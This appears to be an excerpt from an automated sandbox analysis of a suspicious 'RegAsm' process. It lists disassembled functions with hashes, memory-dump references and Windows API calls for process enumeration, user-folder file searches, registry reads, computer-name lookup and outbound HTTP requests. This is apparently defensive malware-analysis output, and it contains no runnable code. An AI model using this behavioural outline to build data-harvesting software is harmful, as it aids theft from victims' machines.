Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: a565577679dd8a0504a1d15f914896fe3659e154cb8e13ffca774fc0674d62c6
Instruction ID: 8f5abf7c5654a811b9b3f094c7d3948ba22bca0c3321aba4e2188e2e86b1b5ea
Opcode Fuzzy Hash: a565577679dd8a0504a1d15f914896fe3659e154cb8e13ffca774fc0674d62c6
Instruction Fuzzy Hash: F7315E71902218ABCB24EF95DC45FEEB778EF45714F10419EF10AA21A0DF386A85CFA5

Function 00414F40 Relevance: 6.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414F7A
lstrcatA.KERNEL32(?,00421070), ref: 00414F97
lstrcatA.KERNEL32(?,0118AD18), ref: 00414FAB
lstrcatA.KERNEL32(?,00421074), ref: 00414FBD

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: fee2ad206d2dfc0e98077b290248d81ad00eb14900011837df4a2dd7ccce19b5
Instruction ID: b2f553c39a7574946245b6cc91baeb706efbd34a5fe7bafabb54328a91102e52
Opcode Fuzzy Hash: fee2ad206d2dfc0e98077b290248d81ad00eb14900011837df4a2dd7ccce19b5
Instruction Fuzzy Hash: FA213DBAA402047BC714FBF0EC46FED333DAB55300F40455DB649920C1EE7896C88B96

Function 00417E00 Relevance: 6.1, APIs: 4, Instructions: 58memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417E37
HeapAlloc.KERNEL32(00000000), ref: 00417E3E
RegOpenKeyExA.KERNEL32(80000002,0118B4B8,00000000,00020119,?), ref: 00417E5E
RegQueryValueExA.KERNEL32(?,011911C8,00000000,00000000,000000FF,000000FF), ref: 00417E7F

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction ID: f35b37edc560d93cca1bbeb044924e1a71a0ba88b9c12cde0d27c4035fcf8d53
Opcode Fuzzy Hash: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction Fuzzy Hash: 01114CB5A84205FFD710CFD4DD4AFBBBBB9EB09B10F10425AF605A7280D77858018BA6

Function 004012A0 Relevance: 6.0, APIs: 4, Instructions: 39memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction ID: a780f69aac564b2d92452564e57f3177c1920ebdf93c56c18a8360c70aaf8c3d
Opcode Fuzzy Hash: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction Fuzzy Hash: 000131BDA40208BFDB10DFE0DC49FAEB7BDEB48701F008159FA05A7280D6749A018F51

Function 00416AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,0118AA18,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416AE8
CloseHandle.KERNEL32(00000000), ref: 00416AF9
Sleep.KERNEL32(00001770), ref: 00416B04
CloseHandle.KERNEL32(?,00000000,?,0118AA18,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416B1A
ExitProcess.KERNEL32 ref: 00416B22

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: aa120b36cfb137c48c1a566cacac99fef06b1c93e7411723dec979bce85ea544
Instruction ID: 3c4b1c3760862ff095f4b16c882d5da3ff279df4080b6ba6633acb61265b60b7
Opcode Fuzzy Hash: aa120b36cfb137c48c1a566cacac99fef06b1c93e7411723dec979bce85ea544
Instruction Fuzzy Hash: E9F0BE34A84219AFE710EBE0DC06BFE7B35EF04381F11451AF502A11C0CBB8A581D65F

Function 00406D40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

`o@, xrefs: 00406DAE, 00406E94, 00406E5E, 00406EAF, 00406DD2

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: `o@
API String ID: 0-590292170
Opcode ID: 7ad59576bd09cc7eceacd48e5d7f84764234e902501c4ca3efc067249123903a
Instruction ID: c65cc5113f4fbf7636557f8b1f026e9f2285814709fd8c8344c4410f81c0aea8
Opcode Fuzzy Hash: 7ad59576bd09cc7eceacd48e5d7f84764234e902501c4ca3efc067249123903a
Instruction Fuzzy Hash: A66138B4900219EFCB14DF94E944BEEB7B1BB04304F1185AAE40A77380D739AEA4DF95

Function 00414BB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414BEA
lstrcatA.KERNEL32(?,01191428), ref: 00414C08

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

Part of subcall function 00414910: wsprintfA.USER32 ref: 004149B0
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,004208D2), ref: 004149C5
Part of subcall function 00414910: wsprintfA.USER32 ref: 004149E2
Part of subcall function 00414910: PathMatchSpecA.SHLWAPI(?,?), ref: 00414A1E
Part of subcall function 00414910: lstrcatA.KERNEL32(?,01192928,?,000003E8), ref: 00414A4A
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FF8), ref: 00414A5C
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A70
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FFC), ref: 00414A82
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A96

Part of subcall function 00414910: wsprintfA.USER32 ref: 00414A07

Strings

UaA, xrefs: 00414C2F, 00414C64, 00414C9A, 00414CCF, 00414D05, 00414D3A, 00414D5F, 00414C32, 00414C67, 00414C9D, 00414CD2, 00414D08, 00414D3D

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$wsprintf$Find$FilePath$CloseFirstFolderMatchNextSpec
String ID: UaA
API String ID: 153043497-3893042857
Opcode ID: f76eef8fce44aa4967a05993499158b30be10cc84edb5c5c67862afe97780de1
Instruction ID: 5a37e5a53a2562059c730f6b0b3ae842953eee94398a2728108a858f2c1bafc2
Opcode Fuzzy Hash: f76eef8fce44aa4967a05993499158b30be10cc84edb5c5c67862afe97780de1
Instruction Fuzzy Hash: 9341C5BA6001047BD754FBB0EC42EEE337DA785700F40851DB54A96186EE795BC88BA6

Function 004151F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00406280: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
Part of subcall function 00406280: StrCmpCA.SHLWAPI(?,011927F8), ref: 00406303
Part of subcall function 00406280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
Part of subcall function 00406280: HttpOpenRequestA.WININET(00000000,GET,?,011920C0,00000000,00000000,00400100,00000000), ref: 00406385
Part of subcall function 00406280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
Part of subcall function 00406280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415228

Strings

ERROR, xrefs: 00415273
ERROR, xrefs: 0041521A

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 9ad3e3659df19f2be40a08658cda63cc31681db51bdf2003e60922b473f200c1
Instruction ID: 74302943fe5589af4790b43ef38c2dd3b69765dcd24c28c5b90e35499643ece9
Opcode Fuzzy Hash: 9ad3e3659df19f2be40a08658cda63cc31681db51bdf2003e60922b473f200c1
Instruction Fuzzy Hash: 2D113330901008ABCB14FF61DD52AED7338AF50354F90416EF81A5A5D2EF38AB56CA9A

Function 00415050 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 0041508A
lstrcatA.KERNEL32(?,01191F10), ref: 004150A8

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Strings

aA, xrefs: 004150CF, 004150F4, 004150D2

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID: aA
API String ID: 2699682494-2567749500
Opcode ID: d72f4a737726d54df99455f6ce83c9bf159133315d7b4ee64ed3cf280c4408bd
Instruction ID: 27646669aa04729862e240b26620d37997e147c17b59a732ce93ef494e7ce50b
Opcode Fuzzy Hash: d72f4a737726d54df99455f6ce83c9bf159133315d7b4ee64ed3cf280c4408bd
Instruction Fuzzy Hash: B801D6BAA4020877C714FBB0DC42EEE333CAB55304F00415DB68A570D1EE789AC88BA6

Function 004178E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction ID: 452d18c19ae851532a1d010ea63a4611fd0250a2e86211d30d2d96ca9096ca29
Opcode Fuzzy Hash: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction Fuzzy Hash: 220186F1A48204EFD700DF94DD45BAABBB8FB05B11F10425AF545E3280C37859448BA6

